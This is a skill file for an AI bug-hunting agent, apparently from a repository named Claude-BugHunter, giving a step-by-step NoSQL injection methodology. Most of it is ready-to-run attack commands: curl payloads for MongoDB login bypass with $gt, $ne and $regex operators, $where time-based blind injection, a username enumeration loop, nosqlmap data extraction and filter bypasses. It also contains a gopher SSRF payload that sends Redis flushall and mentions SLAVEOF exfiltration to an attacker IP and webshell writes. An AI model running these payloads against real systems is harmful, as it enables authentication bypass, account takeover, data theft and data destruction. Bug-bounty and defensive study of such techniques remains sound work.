hunt-nosqli

Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.

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HUNT-NOSQLI — NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

MongoDB auth bypass — {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
$where JS injection — if $where is enabled: blind injection → data exfil
Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

Signal	Vector
MongoDB error messages in response	Operator injection
mongoose / monk in JS bundles	ODM patterns
X-Powered-By: Express	Node.js + MongoDB common stack
CouchDB/_utils UI exposed	Futon/Fauxton admin
Redis port 6379 open (via SSRF)	CONFIG SET / SLAVEOF
Elasticsearch :9200 open	Script injection

Step-by-Step Hunting Methodology

Phase 1 — Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 — URL Parameter Injection

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 — $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 4 — Data Dump via Regex

# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 — Automation

# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 — Redis via SSRF

# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

Bypass Table

Defense	Bypass
JSON.parse rejects objects	Use array: `password[$ne]=x` (URL params)
Sanitizes `$`	Unicode: `$gt`
Blocks operator keys	Nested objects deeper in structure

Chain Table

NoSQLi finding	Chain to	Impact
Auth bypass	Admin panel access	Full admin control
User enum via regex	Credential stuffing	Mass ATO
$where enabled	Arbitrary JS in DB process	Data exfil or DoS
Redis via SSRF	CONFIG SET / SLAVEOF	Webshell or data exfil

Validation

✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

Severity:

Auth bypass as admin: Critical
User collection dump: High
Blind injection (no useful exfil): Medium

Repository: elementalsouls/Claude-BugHunter
Path: skills/hunt-nosqli/SKILL.md
Commit: 6b9c96e

Last updated: 2 days ago
First committed: 2 months ago

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